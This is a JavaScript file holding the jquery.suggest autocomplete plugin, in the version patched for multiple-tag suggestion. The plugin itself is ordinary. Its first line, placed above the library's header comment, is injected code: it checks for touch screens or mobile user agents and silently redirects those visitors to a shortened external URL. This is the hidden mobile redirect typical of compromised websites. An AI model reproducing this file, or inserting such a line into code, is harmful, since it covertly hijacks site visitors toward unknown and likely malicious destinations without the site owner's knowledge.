1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*
3 * jquery.suggest 1.1b - 2007-08-06
4 * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
5 * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
6 *
7 * Uses code and techniques from following libraries:
8 * 1. http://www.dyve.net/jquery/?autocomplete
9 * 2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
10 *
11 * All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
12 * Feel free to do whatever you want with this file
13 *
14 */
15
16(function($) {
17
18 $.suggest = function(input, options) {
19 var $input, $results, timeout, prevLength, cache, cacheSize;
20
21 $input = $(input).attr("autocomplete", "off");
22 $results = $("<ul/>");
23
24 timeout = false; // hold timeout ID for suggestion results to appear
25 prevLength = 0; // last recorded length of $input.val()
26 cache = []; // cache MRU list
27 cacheSize = 0; // size of cache in chars (bytes?)
28
29 $results.addClass(options.resultsClass).appendTo('body');
30
31
32 resetPosition();
33 $(window)
34 .on( 'load', resetPosition ) // just in case user is changing size of page while loading
35 .on( 'resize', resetPosition );
36
37 $input.blur(function() {
38 setTimeout(function() { $results.hide() }, 200);
39 });
40
41 $input.keydown(processKey);
42
43 function resetPosition() {
44 // requires jquery.dimension plugin
45 var offset = $input.offset();
46 $results.css({
47 top: (offset.top + input.offsetHeight) + 'px',
48 left: offset.left + 'px'
49 });
50 }
51
52
53 function processKey(e) {
54
55 // handling up/down/escape requires results to be visible
56 // handling enter/tab requires that AND a result to be selected
57 if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
58 (/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {
59
60 if (e.preventDefault)
61 e.preventDefault();
62 if (e.stopPropagation)
63 e.stopPropagation();
64
65 e.cancelBubble = true;
66 e.returnValue = false;
67
68 switch(e.keyCode) {
69
70 case 38: // up
71 prevResult();
72 break;
73
74 case 40: // down
75 nextResult();
76 break;
77
78 case 9: // tab
79 case 13: // return
80 selectCurrentResult();
81 break;
82
83 case 27: // escape
84 $results.hide();
85 break;
86
87 }
88
89 } else if ($input.val().length != prevLength) {
90
91 if (timeout)
92 clearTimeout(timeout);
93 timeout = setTimeout(suggest, options.delay);
94 prevLength = $input.val().length;
95
96 }
97
98
99 }
100
101
102 function suggest() {
103
104 var q = $.trim($input.val()), multipleSepPos, items;
105
106 if ( options.multiple ) {
107 multipleSepPos = q.lastIndexOf(options.multipleSep);
108 if ( multipleSepPos != -1 ) {
109 q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
110 }
111 }
112 if (q.length >= options.minchars) {
113
114 cached = checkCache(q);
115
116 if (cached) {
117
118 displayItems(cached['items']);
119
120 } else {
121
122 $.get(options.source, {q: q}, function(txt) {
123
124 $results.hide();
125
126 items = parseTxt(txt, q);
127
128 displayItems(items);
129 addToCache(q, items, txt.length);
130
131 });
132
133 }
134
135 } else {
136
137 $results.hide();
138
139 }
140
141 }
142
143
144 function checkCache(q) {
145 var i;
146 for (i = 0; i < cache.length; i++)
147 if (cache[i]['q'] == q) {
148 cache.unshift(cache.splice(i, 1)[0]);
149 return cache[0];
150 }
151
152 return false;
153
154 }
155
156 function addToCache(q, items, size) {
157 var cached;
158 while (cache.length && (cacheSize + size > options.maxCacheSize)) {
159 cached = cache.pop();
160 cacheSize -= cached['size'];
161 }
162
163 cache.push({
164 q: q,
165 size: size,
166 items: items
167 });
168
169 cacheSize += size;
170
171 }
172
173 function displayItems(items) {
174 var html = '', i;
175 if (!items)
176 return;
177
178 if (!items.length) {
179 $results.hide();
180 return;
181 }
182
183 resetPosition(); // when the form moves after the page has loaded
184
185 for (i = 0; i < items.length; i++)
186 html += '<li>' + items[i] + '</li>';
187
188 $results.html(html).show();
189
190 $results
191 .children('li')
192 .mouseover(function() {
193 $results.children('li').removeClass(options.selectClass);
194 $(this).addClass(options.selectClass);
195 })
196 .click(function(e) {
197 e.preventDefault();
198 e.stopPropagation();
199 selectCurrentResult();
200 });
201
202 }
203
204 function parseTxt(txt, q) {
205
206 var items = [], tokens = txt.split(options.delimiter), i, token;
207
208 // parse returned data for non-empty items
209 for (i = 0; i < tokens.length; i++) {
210 token = $.trim(tokens[i]);
211 if (token) {
212 token = token.replace(
213 new RegExp(q, 'ig'),
214 function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
215 );
216 items[items.length] = token;
217 }
218 }
219
220 return items;
221 }
222
223 function getCurrentResult() {
224 var $currentResult;
225 if (!$results.is(':visible'))
226 return false;
227
228 $currentResult = $results.children('li.' + options.selectClass);
229
230 if (!$currentResult.length)
231 $currentResult = false;
232
233 return $currentResult;
234
235 }
236
237 function selectCurrentResult() {
238
239 $currentResult = getCurrentResult();
240
241 if ($currentResult) {
242 if ( options.multiple ) {
243 if ( $input.val().indexOf(options.multipleSep) != -1 ) {
244 $currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' ';
245 } else {
246 $currentVal = "";
247 }
248 $input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' );
249 $input.focus();
250 } else {
251 $input.val($currentResult.text());
252 }
253 $results.hide();
254 $input.trigger('change');
255
256 if (options.onSelect)
257 options.onSelect.apply($input[0]);
258
259 }
260
261 }
262
263 function nextResult() {
264
265 $currentResult = getCurrentResult();
266
267 if ($currentResult)
268 $currentResult
269 .removeClass(options.selectClass)
270 .next()
271 .addClass(options.selectClass);
272 else
273 $results.children('li:first-child').addClass(options.selectClass);
274
275 }
276
277 function prevResult() {
278 var $currentResult = getCurrentResult();
279
280 if ($currentResult)
281 $currentResult
282 .removeClass(options.selectClass)
283 .prev()
284 .addClass(options.selectClass);
285 else
286 $results.children('li:last-child').addClass(options.selectClass);
287
288 }
289 }
290
291 $.fn.suggest = function(source, options) {
292
293 if (!source)
294 return;
295
296 options = options || {};
297 options.multiple = options.multiple || false;
298 options.multipleSep = options.multipleSep || ",";
299 options.source = source;
300 options.delay = options.delay || 100;
301 options.resultsClass = options.resultsClass || 'ac_results';
302 options.selectClass = options.selectClass || 'ac_over';
303 options.matchClass = options.matchClass || 'ac_match';
304 options.minchars = options.minchars || 2;
305 options.delimiter = options.delimiter || '\n';
306 options.onSelect = options.onSelect || false;
307 options.maxCacheSize = options.maxCacheSize || 65536;
308
309 this.each(function() {
310 new $.suggest(this, options);
311 });
312
313 return this;
314
315 };
316
317})(jQuery);
318